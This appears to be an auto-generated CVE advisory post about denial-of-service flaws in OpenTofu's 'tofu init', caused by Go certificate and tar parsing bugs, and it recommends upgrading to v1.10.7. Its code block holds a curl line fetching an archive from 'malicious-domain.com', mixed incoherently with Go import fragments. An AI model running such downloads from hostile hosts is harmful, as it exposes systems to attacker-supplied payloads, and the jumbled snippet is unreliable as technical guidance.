OpenTofu, Dependency Installation Denial of Service, CVE-2025-58183, CVE-2025-58185, CVE-2025-58187, CVE-2025-58188 (Medium)

Listen to this Post

The vulnerabilities in OpenTofu’s `tofu init` command stem from underlying issues in the Go standard library. When `tofu init` fetches modules or providers, it parses TLS certificates and tar archives. CVE-2025-58185 allows an attacker to cause memory exhaustion by providing a malicious DER-encoded ASN.1 payload during certificate parsing. CVE-2025-58187 enables a CPU exhaustion attack via a certificate chain with specially crafted name constraints, causing quadratic complexity during verification. CVE-2025-58188 can cause a process panic when validating certificates containing DSA public keys. For tar archives, CVE-2025-58183 allows an attacker to trigger unbounded memory allocation by embedding a malicious GNU sparse map file. These issues are triggered during the initial download and extraction phase, before code review or checksum verification, leading to a denial-of-service by crashing the process or exhausting system resources.
Platform: OpenTofu
Version: <1.10.7
Vulnerability: DoS
Severity: Medium
date: 2025

Prediction: 2025-08-15

What Undercode Say:

tofu init
curl -L "https://malicious-domain.com/module.tar" -o module.tar
tar -tf module.tar
import (
"crypto/x509"
"archive/tar"
)
// Parsing happens within these standard libraries.

How Exploit:

Attacker hosts malicious TLS cert or tar archive. User adds attacker’s module source. `tofu init` fetches and parses, causing crash or resource exhaustion.

Protection from this CVE:

Upgrade to OpenTofu v1.10.7. Review module sources. Pre-download dependencies.

Impact:

Denial of Service. High CPU/Memory. `tofu init` failure. System resource depletion.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top